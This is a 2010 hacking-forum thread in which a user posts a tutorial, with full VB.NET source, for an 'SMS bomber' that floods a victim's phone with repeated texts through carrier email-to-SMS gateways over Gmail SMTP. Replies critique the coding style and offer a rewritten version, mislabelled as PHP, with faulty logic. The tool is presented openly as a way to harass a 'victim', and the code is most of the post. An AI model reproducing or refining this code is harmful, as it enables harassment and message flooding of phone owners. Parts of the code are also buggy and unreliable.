Hack Forums
[.NET] [TUT] SMS Bomber by da n00b - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] [TUT] SMS Bomber by da n00b (/showthread.php?tid=561513)

Pages: Pages 1 2

[TUT] SMS Bomber by da n00b - Black and White - Jul 23, 2010

SMS Bomber by the n00b
AND YES I FUCKING CODED THIS

What you need.
6 text boxes - one of which must be multi line
1st text box - victum's number
2nd text box - Tittle
3rd text box - Message make this one multi line like so:
Spoiler (Click to View)
4th text box - Amount to be sent
5th text box - Gmail user name
6th text box - Gmail Password

1 Combo box - add to items:
Code
Virgin Mobile USA
Sprint PCS
AT&T
US Cellular
Nextel
Verizon Wireless

Add like so:
Spoiler (Click to View)

1 button - to bomb the texts

1 label - records amount sent

Should look like this
Spoiler (Click to View)

Now for the coding:

At the very top add this:
Code
Imports System.Net.Mail
Double Click the button and add this:
Code
Dim num As Integer = 0
  For intLoopIndex = 0 To Convert.ToInt32(TextBox5.Text) 'your text box to enter in the amount of times to send
    Dim mail As New MailMessage()
    Dim SmtpServer As New SmtpClient
    If (CheckBox1.Checked) Then
    SmtpServer.Credentials = New Net.NetworkCredential("**", "***")  'your gmail and password
    SmtpServer.Port = 587
    SmtpServer.Host = "smtp.gmail.com"
    SmtpServer.EnableSsl = True
    Else
    SmtpServer.Credentials = New Net.NetworkCredential(TextBox5.Text, TextBox6.Text) 'this is to enter your own Gmail and pass
    SmtpServer.Port = 587
    SmtpServer.Host = "smtp.gmail.com"
    SmtpServer.EnableSsl = True
    End If
    If ComboBox1.SelectedItem = "AT&T" Then
    mail.To.Add(TextBox1.Text + "@txt.att.net")
    mail.From = New MailAddress("[email protected]")
    mail.Subject = TextBox2.Text
    mail.Body = ComboBox1.Text 'scroll down bar with carriers make sure to add al names to "collection"
    SmtpServer.Send(mail)
    ElseIf ComboBox1.SelectedItem = "Nextel" Then
    mail.To.Add(TextBox1.Text + "@messaging.nextel.com")
    mail.From = New MailAddress("[email protected]")
    mail.Subject = TextBox2.Text
    mail.Body = ComboBox1.Text
    SmtpServer.Send(mail)
    ElseIf ComboBox1.SelectedItem = "Sprint PCS" Then
    mail.To.Add(TextBox1.Text + "@messaging.sprintpcs.com")
    mail.From = New MailAddress("[email protected]")
    mail.Subject = TextBox2.Text
    mail.Body = ComboBox1.Text
    SmtpServer.Send(mail)
    ElseIf ComboBox1.SelectedItem = "US Cellular" Then
    mail.To.Add(TextBox1.Text + "@email.uscc.net")
    mail.From = New MailAddress("[email protected]")
    mail.Subject = TextBox2.Text
    mail.Body = ComboBox1.Text
    SmtpServer.Send(mail)
    ElseIf ComboBox1.SelectedItem = "Virgin Mobile USA" Then
    mail.To.Add(TextBox1.Text + "@vmobl.com")
    mail.From = New MailAddress("[email protected]")
    mail.Subject = TextBox2.Text
    mail.Body = ComboBox1.Text
    SmtpServer.Send(mail)
    End If
    If ComboBox1.SelectedItem = "Verizon Wireless" Then
    mail.To.Add(TextBox1.Text + "@myairmail.com")
    mail.From = New MailAddress("[email protected]")
    mail.Subject = TextBox2.Text
    mail.Body = ComboBox1.Text
    SmtpServer.Send(mail)
    End If

    num = num + 1
    Label1.Text = num 'your still label that shows how many texts sent
  Next intLoopIndex 'loops

Now you are done if you have any questions just ask. I may have messed up some where. I made a new project and followed my TUT so it should work.
That is mine try not to get jealous.
Spoiler (Click to View)

AND YES I KNOW THERE ARE MORE TUTs, but THIS ONE IS UPDATED AND ACTUALLY WORKS AND IS WELL EXPLAINED SO PLEASE try to be nice.

★ List of Providers 100% Credit to Matin.★
Here


* - pr3fix - Jul 23, 2010

Ehm I don't really like your coding style.

Instead of using "If" statments you could use Select Case.

For example:
Code
Select Case ComboBox1.Text
    Case "Service 1"
    Port = 312
    SMTP = "smp.address.com"
    Case "Service 2"
    Port = 415
    SMTP = "smp.address.com"
  End Select
  'then just send sms/e-mail without any additional crap.


* - Black and White - Jul 23, 2010

(Jul 23, 2010 10:09 AM)pr3fix Wrote:  Ehm I don't really like your coding style.

Instead of using "If" statments you could use Select Case.

For example:
Code
Select Case ComboBox1.Text
    Case "Service 1"
    Port = 312
    SMTP = "smp.address.com"
    Case "Service 2"
    Port = 415
    SMTP = "smp.address.com"
  End Select
  'then just send sms/e-mail without any additional crap.
Nah all the IFs make it simple, but I do agree not the best way to do it and a simple loop. I could have used a timer lmao that would have been bad.

* - pr3fix - Jul 23, 2010

(Jul 23, 2010 10:10 AM)Black and White Wrote:  Nah all the IFs make it simple, but I do agree not the best way to do it and a simple loop. I could have used a timer lmao that would have been bad.

Loop? Not best solution, BackgroundWorker would do the job.

* - Black and White - Jul 23, 2010

(Jul 23, 2010 10:17 AM)pr3fix Wrote:  Loop? Not best solution, BackgroundWorker would do the job.
It would that is true, but like I said I want to keep it simple enough because loops are easy xD

* - Black and White - Jul 23, 2010

No thanks yous no I liked it. Only critism come on guys please just one thank you. I am at least glad i had no haters as i did write all the code.

* - DarkY. - Jul 23, 2010

Great job, and thank you for providing this. I may use it in the future. 👍

* - Zer[o] - Jul 23, 2010

cool tut keep em up :P i am working on my own....99% done lol i need 1 fix

* - DeltaNox - Jul 23, 2010

Like pr3fix said, using a select case is better, it's there to avoid a lot of else if's. Also you could make the code a lot shorter by simply creating a sub and passing the values instead of using the same code that many times.

* - pr3fix - Jul 23, 2010

Here is fixed version, I was bored so I just rewrote:
PHP Code

<?php 
On Error Resume Next
  Dim Adds As String = String.Empty
  Dim C As Integer = 0
  If C = 50 Then
    Select Case ComboBox1.Text
    Case "AT&T"
    Adds = "@txt.att.net"
    Case "Nextel"
    Adds = "@messaging.nextel.com"
    Case "Sprint PCS"
    Adds = "@messaging.sprintpcs.com"
    Case "US Cellular"
    Adds = "@email.uscc.net"
    Case "Virgin Mobile USA"
    Adds = "@vmobl.com"
    Case "Verizon Wireless"
    Adds = "@myairmail.com"
    End Select
    Dim M As New MailMessage
    Dim S As New SmtpClient("smtp.gmail.com")
    M.To.Add("[email protected]" & Adds)
    M.From = New MailAddress("[email protected]" & Adds)
    M.Subject = "Subject of SMS"
    M.Body = "SMS's body message"
    S.Port = 587
    S.Send(M)
    C += 1
  End If 


* - Đενɨаηсε™ - Jul 23, 2010

Here are some errors:

[img]http://img831.imageshack.us/img831/6318/ss20100723131154.png[/img]

* - Black and White - Jul 23, 2010

(Jul 23, 2010 01:11 PM)Đενɨаηсε™ Wrote:  Here are some errors:

[img]http://img831.imageshack.us/img831/6318/ss20100723131154.png[/img]
I made the SMS bomber from the TUT and only the TUT I will do it again, but maybe you need to dim as string?

Well I just did it again added 6 text boxes
1 combo box
1 label
1 check box
1 button
o errors so go and do it again or PM me and I can help :)

Well here is what I did:
Spoiler (Click to View)
Spoiler (Click to View)

* - Sri Krishna - Jul 23, 2010

It's alright, I guess.
6/10

* - Black and White - Jul 23, 2010

(Jul 23, 2010 01:48 PM)Lone222 Wrote:  It's alright, I guess.
6/10
What exactly are you rating? And if you cannot do better please do not rate it.

* - Prince of Persia - Jul 23, 2010

You can just check out my SMS bomber too, it has like 200 providers.